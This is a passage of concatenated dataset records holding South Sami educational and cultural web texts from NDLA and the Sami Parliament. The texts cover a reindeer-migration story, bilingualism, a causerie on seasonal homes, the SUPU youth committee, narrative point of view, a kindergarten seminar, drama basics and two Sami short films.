juhtedh. Geasastehtebe dah råantjoeh jïh numhtie vuelkebe juhtien Lyjmeden jïh Ingjelsvatnen baaktoe Staellien gåajkoe. Staellesne fïjnestimh vahkam.\nGoh destie edtjebe die jåhtajidh die rååresjibie guktie edtjebe jaksedh Lilljfjellem. Manne jïh maaketje Næjla edtjien dejnie fuelhkine, maanajgujmie jïh gierehtsigujmie våålese Fjeeringese juhtedh. Vööhpedimmie Piere jïh maaketje Bengte edtjigan dejnie låabpoes krievvine vuelkedh. Dunnie Nessan durresne edtjigan mijjem vuertedh die.\nOjhte, aereden vuelkebe juhtien. Geasastahteme limh die råantjojde jïh naa jïjnje loeves-råantjoe lij aaj. Jïh nov lij gujht dïhte göökte tsiehkieh, jalts ij lin gujht gieseme-råantjoeh gajhkh dah. Iehkeden tjearan goh libie die baajhteme våålese dan gaertienasse, die råantjojde luejhtebe. Dah barre vuelkieh bæjjese dan beetsetjasse jïh die gåatoeh desnie. Aereden tjearan die viht ryöjredibie jïh viht vuelkebe.\nÅemie vuanoven lij akte stoerre göölemen-åejjie råantjoe, jïh geeles. Men vaepiedodtje guktie båånhtseri. Dearkoe råantjoe, dïhte maa låavta. Manne lim ojhte åadtjestamme dam råantjoem. Men goh die damti dabranamme, dellie mannem låavta, goeljesti, jïh manne treavkaj nelnie jïh voesse rudtjesne. Jïh dïhte jïenehke gujht vöölki. Maaketje Næjlese gæljohtem edtja dïhte noelestidh varke soehpenjem jïh båetedh mannem viehkiehtidh. Dïhte ojhte båata jïh åadtjeste dam råantjoem. Goh die dïhte råantjoe damta satne dabranasteme, mubpelen die maaketje Næjlam jis låavta. Jïh numhtie die gællasjien fïere guhtene haeresne jïh steerien. Maaketje Næjla aaj treavkajgujmie jïh voesse rudtjesne. Jïh gihtjh, man guhkiem månnoeh numhtie.\nMinngemes die tjuerien juelkijste treavkah noeledh jïh nierhkedh dan råantjose. Ojhte, minngemes gujht buektiehtimen sleegkedh dam råantjoem jïh aaj baagkoehtidh.\nManne edtjim die dïhte dejnie bealloehkinie. Maaketje Næjla gujht treavkah joksede jïh voessem rudtjese viht edtja aaj otnelidh dam råantjoem goske manne leam aaj treavkah joksedamme.\nGuhkies lij njoeje. Nåå, dïhte jïenehke lij gujht die dagkoe vualkeme. Gosse edtjimen die tjoejkijidh, die dïhte råantjoe tjuedtjele jïh gahpeste bæjjese, jïh die vualka vuhtsen våålese dam njoejem. Die govlem maaketje Næjla gylje:«Luejhtieh maa, luejhtieh maa!» Nåå, manne jis ussjedim: «Im gujht manne luejhtieh mearan treavkaj nelnie tjåadtjoem.» Jïh numhtie goetsehtem dam råantjoem, die minngesne dom jïenehkem.\nDom jïenehkem jakseme lim, die tjoerim baaltestidh aellies goh vuelkieh dam båastoeh loedtem bååstede. Jïh numhtie die bæjjese dam råhtoem. Bïlleminie lim guktie sån sjædta jis amma dïhte råantjoe viht mannem låavta.\nHijven-laakan gåaradi. Bradtjeminie barre öövre jïh bïevestahkh njaamedeminie. Jïh die bæjjese dam Aajmehtaeliem, jïh don loedten nille. Daelie gujht die åadtjoejim luejhtedh dam die råantjoem, jïh dïhte gujht die loeves vöölki dan loedte-raejkien.\nDellie iehkeds-biejjien die jeksien maaketje Bengtem jïh vööhpedimmie Pierem dennie Nessan durresne. Nåå, dan jïjjen gujht die barre goese- maadtegisnie ohtje dålletjem beejimh, svarkeldahketjem jïh prïhtjegem voessjimh jïh kråavhkasjibie desnie goske aerede sjïdti.\nMinngeben aereden die tjöönghkebe dam krievviem jïh die vuejiehtibie. Vuejiehtibie våålese, båetebe dan die Mohkelohke-jaevrien gåajkoe. Desnie joekoen, oktegs gaertene bijjene Mohkelohke-jaevrien bealesne. Iehkeds- biejjien tjearan båetebe, johken sontere aerebe eannan Råaseden-vaeriem bæjjese. Desnie dïhte laedtie luajhteme dam daammem dan iehkeden. Dïhte johke öövre dïeves tjaetseste, guktie idtji gåaredh dam krievviem stoenehtidh dan johkese.\nNåå gie edtja die dïhte tjoejkedh bæjjese dan gaertienasse jïh dam laedtiem birredh edtja steegkedh dam daammem dan jïjjese. Jïh die maaketje Næjla dïhte die dahkoe die vöölki tjoejken. Mijjieh mah beetsimh, mijjieh die dam krievviem gïehtelidh norhkehtidh dam johke-bealam dam jïjjem.\nMan guhkiem die maaketje Næjla viht båata bååstede. Vuertieminie libie, geehteminie aaj dam johkem, mejtie ij annje aelkieh råanjedh guktie rastah baahtsebe.\nNåå dïhte laedtie ojhte dam daammem steegki gosse govli guktie limh mijjieh. Ånnetji doekoe die johke ojhte råanji guktie baahtsimh rastah. Nåå, gie edtja die dïhte dejnie bealloehkinie. Ae, die manne dïhte tjoerim Nåå, ij lij gujht dïhte mij. Åehpies gaaloe, gaalehtjamme dagkoe gellien aejkien. Nåå, manne gujht gaalam rastah dejnie bealloehkinie, jïh dïhte krievvie tjaebpieslaakan dan johkese gaerkehte, minngesne båata, jïh dejtie vuejiehtæjjide aaj hijven gaeledh. Lïjhke gujht lovvebe jïh gaamegh dïevin tjaetseste jïh die tjåetskeme. Numhtie gujht barre joksedidh treavkide jïh nierhkedh viht vuejiehtidh dam krievviem bæjjese dan Råaseden-vaaran.\nBijjene Råaseden-vaeresne dellie jaevrie desnie. Die dïsse narhkelibie edtja desnie lovvedidh. Nåå, dïhte vuejiehtimmie krievvie idtji gujht dïhte ov sïjhth lovvedidh dallah. Dejnie gujht gïehtelibie naa guhkiem. Man aaj guhkiem die gujht tjoeri lovvedidh. Dennie gaskesne edtjebe die dålletjem bïejedh jïh ohtje prïhtjem voessjelidh. Gaamegh noelebe jïh suejnieh buhtjiedibie. Jïh die desnie lïegkedibie. Prïhtjegem jovkeme libie, die nahkestibie. Man guhkiem libie åareme, die im manne daejrieh. Die akte fehkehte jïh gåvla guktie dïhte bovtse råavegåata, jïh bealloeh. Velkiehtamme lij våålese dam råhtoem. Nåå, dïhte guhte varkemes feerti, lovve suejnide gaamegi sïjse rijtedh, voessem rudtjese jïh varke tjoejkijidh. Jïh die hatskoehtidh edtja marngedh viht dan Råaseden-vaaran. Bïenjide provhkimh barre ektede. Dellie lin gujht vuejiehtæjja bïenjh guktie idtjin gujht dah spåårh jïjtjemse. Nåå, dan Råaseden-vaaran gujht viht buektiehtimh jïh die våålese dam tjaangeldahkem. Die maa dah mijjen bïenjh aaj aelkieminie njoejjegåetedh. Idtjin maa vielie sïjhth gænnah.\nNåå jaksebe gujht Bjørgan pluavan. Åemie vuanoven lij akte båeries råaksoe, die barre dïhte dïhte håhta. Doh jeatjh bïenjh goh slåaveldh, idtjin annje vielie huhtieh gænnah.\nDïhte lij aejlegs biejjie. Die gujht die tjoerebe huhtedh jïjtje, vuejiehtidh jïh huhtedh jïh goejhkesjidh barre ektede. Lahkoe numhtie gïehtelibie goske Heajjoem jaksebe. Jïh goh die dan Heajjose båateme libie, mijjieh öövre syjleme gaajhkesh dovnesh. Åå geerjene, desnie lin die tjåanghkenamme jïjnjh noerh. Die maa dah dam bovtsem veeltin jïh bæjjese dan Aejrien-vaaran tseegkin. Nåå mijjieh gujht geerjene ihke gåatan die, beapmoeh åadtjodh. Im manne daejrieh, byöpmedamme limh gujht jïh veeledamme jïh die nahkestimh gaarvoejgujmie.\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\n- Kjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:172580","date":"2019-04-22T15:23:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00411.warc.gz","language":"sma","language_score":0.9999799728,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999799728393555}","num_words":1006,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sïejhmemes gujht gåetesne jeenebh gïelh soptsestidh. Eejhtegh maehtieh jïjtsi gïelem soptsestidh. Dellie maana tjuara göökte gïelh lïeredh. Jeenjh hïejmh, maana-gïerth jïh skuvlh voervelieh maana galka guektien-gïelen sjïdtedh.\nGuktie guektien-gïelen almetjinie sjïdtedh?\nSiebriedahken gïelh byöroeh mïrrestalledh. Siebriedahken gaajhkine daltesinie hijven jis gïele die soptsesåvva. Saemien-gïelese eah seamma dåarjoeh goh siebriedahken åejvie-gïelese, dåarjegh goh meedijh, byjjes öörnegh jïh guktie voen siebriedahkesne. Jis siebriedahkesne jeenemost laanten åejvie-gïelem utnieh dellie dan gïelese jeenebh dåarjoeh goh saemien-gïelese. Saemien-gïelen viesjebe vierhtie jïh staatuse. Dannasinie dam dan daerpies siebriedahke saemien-gïelem dåarjede jïh nimhtie dïsse vierhtiem vadta.\nVihkele dovne guektiengïelen-voete byjreskisnie vååjnoe. Almetjh byöroeh guektien-gïelen sjïelth vuejnedh, kalenderh jnv. Saemien-gïele tjuara vååjnedh dovne byjjes gåetien, barkoe-sijjien jïh staaren nommine, vg Aarbortesne: Aarborten tjïelte, Snåasesne: Snåasen gærhkoe, Tyjdaelesne: Tyjdaelien maana-skuvle, Praahkesne: Coop Praahkesne.\nJis jeenjem saemien-gïelese tjaelieh dellie saemien-gïelen vierhtiem nænnoste. Almetjidie vaanesåvva vuejnedh jïh lohkedh saemien-gïelen teeksth. Hijven jis saemien dajvesne byjjes gåetieh jïh skuvlh bïevnesh jïh bæjhkoehtimmieh tjaaleme dovne saemien- jïh daaroen-gïelese jallh ajve saemien-gïelese.[1]\nBaakoeh\nSaemien\nDaaroen\nsjïelth\nskilt\n- 1«Gïele lea faamoe». Maren Palismaa. Davvi Girji. 2006.\nJienebegïelevoeteKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:176815\/resource:1:176747","date":"2019-04-19T17:36:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00027.warc.gz","language":"sma","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999998927116394}","num_words":171,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne maahtah tjaalegem «Mijjen jïjnjh gåetieh» lohkedh maam Jaahkenelkien Aanna tjaaleme. Tjaalege gærjeste «Don jïh daan bijre», mij jaepien 1997 bæjhkoehti. Tjaalegh gærjesne leah kååserijh mejtie Aanna raadijovesne soptsesti.\nLohkh vielie Aannan bïjre daesnie: Jaahkenelkien Aanna - Anna Jacobsen\nMijjen jïjnjh gåetieh\nSaemien gielesne ij leah baakoe mij gaptja daaroen baakoem hjem. Mohte mijjen jïjnjh gåetieh gusnie sjïere jaepie-boelhki årroejibie.\nTjaktje.\nTjaktje-daelvien aalkoe.\nDoen såemies aereden fahkajimh jïh åadtjoejimh vuejnedh, jïjsen-aajja lea daan jïjjen vaadtsehtjamme. Iehkeden aerebi dan tjaebpies elmie goh biejjie luajhtede. Jïh dallah goh biejjie tjaangeme, dle joe jueskebe dobti. Dan jueskie guktie almetje raaktan tjoevere vaadtsajidh vuartasjidh mejtie moerh gåetesne jïh mejtie naan beassetje jïh faadta-moeretjh.\nNov almetje maahta hojjestalledh juhkoe guarkoe joe dellie giesie jïh tjaktje-giesie vaaseme. Mohte guktie joem hov njaelkie aaj dobtoe gosse almetje daajra, aah dellie amma nagkh tjoevere vihth jeatjhlaakan aelkedh biejjide jïh barkoem öörnedh.\nDovletje aejkiej, goh saemieh lin johtehtjeminie, dle fïerhten jaepie-boelhken lin vihties årrome-sijjieh. Nimhtie dam ij leah mijjen naan vihties baakoe joekoen sæjjan, guktie dïhte laedtiej baakoe hjem. Mijjen lij dïhte gåetie dïhte hjem. Jïh dejstie gåetijste lin jïjnjh, Tjaktje-, daelvie-, gïjre- jïh giesie-gåetieh. Jïh gellien aejkien soptsestin dovne vihties sijjiej jïh gåetiej bïjre gusnie dle dej gaske-boelhki aaj lin årroeminie, guktie suehpedem jallh tjaktje-giesiem. Nimhtie sån dam aaj, saemien dajvine dah jïjnjh Gierehtsjaevrieh. Gierehtsem daaroen eelkin gåhtjodh tjerris , jïh nimhtie sån dam eelkin jiehtedh Kjerringvatn. Dagkerh nommh gaavna gaajhkem lehkiem, saemien dajvine, Nöörjesne jïh Sveerjesne. Jïh gosse vuartesje jïh daajra guktie leah saemieh johtehtjamme, dle vuajna, ojhte dah sijjieh gåabph lin dle gïjrege, bæjjes-våårti, båateme juhtien jïh dle gieriehtsidie åadtjoejin laehpedh.\nJïh dejstie seamma Gierehtsjaevrie bealijste dle tjaktjege vihth ryöjredin vååles-vorti juhtedh. Desnie lij dle buvrie aaj, gusnie daelvie-vaarjoeh jïh gaajhke jeatjah daelvie daarpsnohke. Nimhtie mijjen almetjh dej beeli åadtjoejin abpe gåetiem jïh gåetie-sijjiem, joekehth jaepie-boelhki mietie sirtedh.\nMijjieh daaletje almetjh jis abpe jaepiem dennie seamma sijjesne jogrestibie. Nov dle aaj maaje fïerhten jaepien, gåessie joem gåabph joem vuelkiejibie eejehten. Jïh dïhte dan reaktoe dobtoe, åadtjodh sijjiem sirtedh.\nMunnjien jis daan aejkien sååjhtoe edtjem dle uvre daelie, tjaktje-daelvien aalkoen, åarjese vååles-våårti juhtedh. Gosse doh juhtije-ledtieh leah dle moevseginie tjåanghkenadteminie, dle manne aaj jïjtsene daaletje gæjsam, koffertem gaarhkeminie edtjem haalanidh jïh åarjese girtedh.\nJïlhts aaj im edtjh manne daelviedovvedh, dle ånnetji seammalaakan dobtoe, guktie aervedem dej baaletje almetjidie dobti gosse lin dle gaarhkeminie, juhtiehtæmman ryöjredeminie.\nDaaletje almetje hov gidtjh maahta, gosse åtna giesie daebpene mijjen noerhte-laantine ååpsen åenehks sjædta, dle nöörie åarjene mïnnedh giesiem buarastehtedh gusnie dïhte abpe jaepiem jogreste.\nJïh jis almetje lea aelkieminie båarastovvedh, dle lea - gujht hijven aaj åadtjodh biejjesne tjahkasjidh bæktahtalledh, guktie veaksahkåbpoe sjædta mijjen tjåetskemes daelviem tjirrehtidh.\nLuste sjædta vuejnedh guktie almetjh åarjene jis naemhtie tjaktjege leah barkeminie. Dïhte gie lij dle dam sijjen gïelem maahteme, guktie åådtjeme soptsestalledh aaj. Guktie sån dobtoe laantese båetedh gusnie ij gåabpa gænnah mijjen daaroengïelijste guarkah. Debpene dle daej noerhte-laanti laedtieh rovkijh aaj tjuerieh dabtedh guktie dobtoe gosse ij maehtieh guarkedh maam jïenehke almetje jeahta, guktie mijjen båeries-almetjh leah tjoeveramme, goh idtjin daaroen guarkah. (- - )\nVååjnoe ij leah almetjasse aelhkie, lïhkes almetjidie seamma boerehke årrodh guktie guesside.\nDellie vuajnam tjaktje-ledtieh joe haalanieh!\nTjaalege lea staeriedamme.\nBaakoeh\nSaemien\nDaaroen\nuvre, öövre, eevre\naldeles\ndaarpesnohke\nnødvendighet\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nLohkije-tjaalegeKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:182521","date":"2019-04-22T15:24:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00001.warc.gz","language":"sma","language_score":0.9999895096,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999895095825195}","num_words":591,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SUPU tseegkesovvi goh ihkuve årgaane 2003. SUPU vïjhte lïhtsegh åtna jïh Saemiedigkieraerie dejtie nammohte. Lïhtsegh abpe laanteste båetieh jïh leah gaskem 16 jïh 28 jaepieh.\nSUPU mandaatem jïh öörnedimmiem åådtjeme Saemiedigkien stoerretjåanghkoste. Dej åejvielaavenjassh leah\n- viehkiehtidh noeri meatannænnoestimmiem jïh tsevtsemefaamoem Saemiedigkien politihkese nænnoestehtedh.\n- soejkesjidh jïh öörnedidh Saemiedigkien fïerhten jaepien noerekonferansh.\n- viehkiehtidh skreejrehtidh guktie jienebh saemien noerh leah eadtjohke politihkesne.\n- barkedh ihke jienebh noerh jïjtjemse tjaelieh Saemiedigkien veeljemelåhkosne, juktie jienebh noerh leah meatan saemiedigkieveeljemisnie, jïh ihke jienebh noerh meatan sjidtieh Saemiedigkesne jïh digkien jeatjah ståvrojne jïh moenehtsinie.\nSUPU aktem frijje råållam åådtjeme jïh maahta aamhtesigujmie barkedh mejtie jïjtjh tuhtjieh sjyöhtehke. Moenehtse jïh lïhtsegh maehtieh frijjelaakan meedijese soptsestidh jïh bæjjese vaeltedh doh aamhtesh mejtie sijhtieh jeatjah instansigujmie.\nMoenehtse edtja goh gaskeselïhtse årrodh saemien noeri jïh Saemiedigkien gaskem, men aaj govlehtimmieinstanse jïh \"vaeptiebienje\" Saemiedægkan gosse lea noereaamhtesi biïre. Naemhtie SUPU maahta Saemiedigkiem viehkiehtidh digkien noereprofijlem jïh noerepolitihkem hammoedidh.\nSUPU 2018-2021:\nÅvtehke: Ole Henrik Bjørkmo Lifjell\nLïhtsegh: Maja Fjellstrøm, Stine Ericsson Anti, Grethe Julianne Skum jïh Alfred Mikkel Kuoljok\nSæjjasadtjh: Laara Sparrok, Andine Knudtson, Kristine Ballari, Sajane Olsen, Katja Elise Utsi","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.saemiedigkie.no\/Politihke\/Saemiedigkien-noerepolitihkeles-moenehtse-SUPU","date":"2019-04-24T18:39:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578655155.88\/warc\/CC-MAIN-20190424174425-20190424200425-00091.warc.gz","language":"sma","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000044107437134}","num_words":173,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gie soptsesem soptseste? Hævvi dïhte soptsestæjja. Tjaelije hæhtede mij heannede. Kaanne tjaelije lea ålma, men sæjhta nyjsenæjjan vuajnoste tjaeledh, dellie tjaelije baaja nyjsenæjjam soptsestidh. Kaanne soptsese lea maana-baeleste jïh dellie maanan tjïrrh soptseste.\nSoptsestæjja\nGie soptsesem soptseste? Hævvi tjaelije lea soptsestæjja, men tjaelije maahta mubpien almetjen tjïrrh soptsesem soptsestidh. Vuesiehtimmesne maahtah boelhketjem lohkedh novelleste maam Anna Sofie Holm Bull tjaaleme. Novellesne tjaelije noere nïejten tjïrrh soptseste.\nMov nomme lea Læjsa jïh manne leam 17 jaepien båeries. Manne leam åarjel-saemie jïh manne aktede voeneste daebpede åarjede båatam. Mov tjidtjie gonnoeh aehtjieh lægan saemieh, båatsoe-saemieh. Mov akte åabpa jïh akte vïelle, manne leam båarasommes. Mov vïene lea aaj mov laevie jïh månnoeh skuvlem vaedtsieminie staaresne govhte mïjlh gåeteste. Månnoeh gåetie-luhpiem seamma gåetesne utnien, akten båeries gåmman luvnie. Gosse hïelje sjædta dle bussem vaeltien jïh gåatan vuelkien eejhtegi jïh åerpeni gåajkoe.\nIj tjaelije tjoerh soptsestæjjine årrodh. Soptsestæjja lea dïhte gïele mij dahkoem soptseste lohkijasse. Tjaelije viehkie-dïrregem nænnoste guktie soptsesem soptsestidh, jïh dellie veeljie gie galka soptsesem soptsestidh.\nVuajnoe\nVuajnoe lea man jïjnje soptsestæjja almetji jïh dahkoej bïjre jeahta. Jis dahkoe almetjen tjïrrh soptsesåvva dellie daan almetjen vuajnoem gaertjiedamme. Mijjieh maehtebe ajve åadtjodh daejredh maam almetje jïjtje ussjede, vuajna, gåvla jallh dååjroe. Jis autarale soptsestæjja dellie vuajnoem vijriedamme. Dellie åadtjobe daejredh maam gaajhkh almetjh soptsesisnie ussjedieh jïh dååjroeh.\nBaakoe\n|Saemien||Daaroen|\n|vuajnoe||synsvinkel|\nNovellam lohkedh jïh guarkedhKjernestoff\nMov aahkan gåetie jïjnjh tjïehtjelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182064\/topic:1:179686\/resource:1:171366","date":"2019-04-19T17:18:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00251.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":225,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie prosjektem SáMOS «Saemien maanah orre ektietjiehtjielinie» aalkeme mij åejvieulmine åtna sisvege saemien maanagïertine edtja saemien filosofijem våaroeminie utnedh, gusnie saemien aarvoeh, saemien eatnemefilosofije, gïele, kultuvre, stuvreme jïh aerpievuekien daajroe dam pedagogeles barkoem guedtieh.\nSáMOS edtja viehkiehtidh saemien maanagïertepedagogihkem jïh didaktihkem evtiedidh saemien filosofijen mietie, jïh orre barkoevuekiem eevtjedh mij lea saemien ussjedimmievuekien mietie Saepmien ovmessie bieline, gusnie saemien aarvoeh, dekoloniseradimmie jïh jïjtjenænnoestimmie leah jarngesne. Daate maahtoelutnjemem kreava barkiji luvnie saemien gïelesne, kultuvresne jïh aerpievuekien daajrosne\nSaemiedigkie saemien maanagïerteaajhterh, maanagïerteåvtehkh, maanagïertelohkehtæjjah jïh jeatjah ïedtjeladtjh böörede Aerniesoptsestimmide dotkijigujmi ektine. Aajkoe lea ektesne soptsestidh guktie maahta saemien maanagïertepedagogihkem eevtjedh saemien gïelen jïh eatnemegoerkesen tjïrrh.\nSijjie: Røros hotell, Plassje\nDaatoe: Njoktjen 19. b. 2019, 09.30-15.30\nAamhtese: Saemien maanagïertepedagogihke saemien gïelen jïh eatnemegoerkesen muhteste","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.saemiedigkie.no\/Oeoernedimmieh\/Aerniesoptsestimmieh-sisvege-saemien-maanagiertine-saemien-aarvoevaaaromen-mietie","date":"2019-04-24T18:42:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578655155.88\/warc\/CC-MAIN-20190424174425-20190424200425-00155.warc.gz","language":"sma","language_score":0.999977231,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999772310256958}","num_words":117,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne gujht taeatere-vuastallemisnie orreme jallh filmem vuartasjamme. Åvtelen maehtebe teater-vuasastallemem jallh filmem darjodh manuskriptem daarpesjibie. Manuskripesne tjaaleme mah dorjehtæjjah edtjieh jiehtedh jïh darjodh jïh lissine aaj tjaaleme vihkeles viehkiedïrregi bïjre guktie tjoevkesh, tjoeje, musihke, sminke, scene-vaarjoeh jïh scene-guvvie.\nBoelhke jïh scena\nDovne teatere-vuasastallemisnie jïh filmesne heannadimmieh daamtaj boelhkine jïh scenine juakeme, vuesiehtimmien gaavhtan biejjeste jïjjese jallh sijjeste sæjjan.\nDraama\nTeatere-scenesne jallh filmesne dellie almetjh soptsestieh, mij draamine sjædta. Draama lea seamma guktie dahkoe. Dahkoe lea dam maam maehtebe filmesne jallh teatere-scenesne vuejnedh. Dahkoe aerpievuekie-draamesne juakeme boelhketjisnie. Dahkoe kronologijen mietie jåhta, men naan aejkien maehtebe vuejnedh mij aerebi heannadamme jïh mij maahta heannadidh.\nRåållah\nDraamesne gellie almetjh maehtieh meatan årrodh mah unnebe jallh stuerebe råållah utnieh. Dah maehtieh draaman mietie jorkesidh jallh dah maehtieh seammalaakan draaman tjïrrh årrodh. Men aktene draamesne aaj ajve akte dorjehtajja maahtea meatan årrodh, vuesiehtimmie gaavhtan teatere-vuasastalleme Elsa Laulan bïjre. Daennie vuasastallemisnie Elsa sov jielemen bïjre soptseste.\nDraamaKjernestoff\nRaahkele-PiereKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:176552\/topic:1:182306","date":"2019-04-25T22:57:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00395.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":152,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NDLA film interaktijve filmestudije-aarkh dorjeme filmide Rebel jïh Hilbes biigá. Filmh leah biehkie åenehksfilme-våarhkoste Sámi short films, maam Internasjonalt Samisk Filminstitutt bæjhkoehtamme.\nFilmestudije-aarkine faage-teeksth jïh laavenjassh noerhte-saemien gïelesne, åarjel-saemien gïelesne jïh daaroen-gïelesne. Learohkh Sveerjesne jïh Såevmesne aaj maehtieh filmide vuejnedh.\nHilbes biigá\nVaenie mij lea «sïejhme saemien» filmine Hilbes biigá. Læjhkan daate åenehks-filme vuesehte guktie noere årrodh daan biejjien. Filme gellie filme-festivaaline vuesiehtamme abpe veartanisnie jïh gellie baalhkah vitneme.\nRebel (Bihttoš)\nRebel (Bihttoš) lea akte eksperimentelle, poetihke dokumentaare-filme maam klaeriedihks animasjovnh, rekonstruksjovnh jïh vöörhkeme-materijaalh pleentie. Filmesne Taifeathers sov jïjtje gaskesem saemien aehtjiebasse analyserede.\nAnalyseredh karakteerem ChristinaKjernestoff\nSameblodKjernestoff\nSaemien heartoehtæjjaKjernestoff\nSaemien nyjsenæjja-gïelhKjernestoff\nSoptsestimmievuekie jïh viehkievierhtiehKjernestoff\nLaavenjasse: Hilbes biigáKjernestoff\nSoptsesh aalkoe-almetji bïjreKjernestoff\nAnalyseredh filmem RebelKjernestoff\nTjaeleme-maalle: 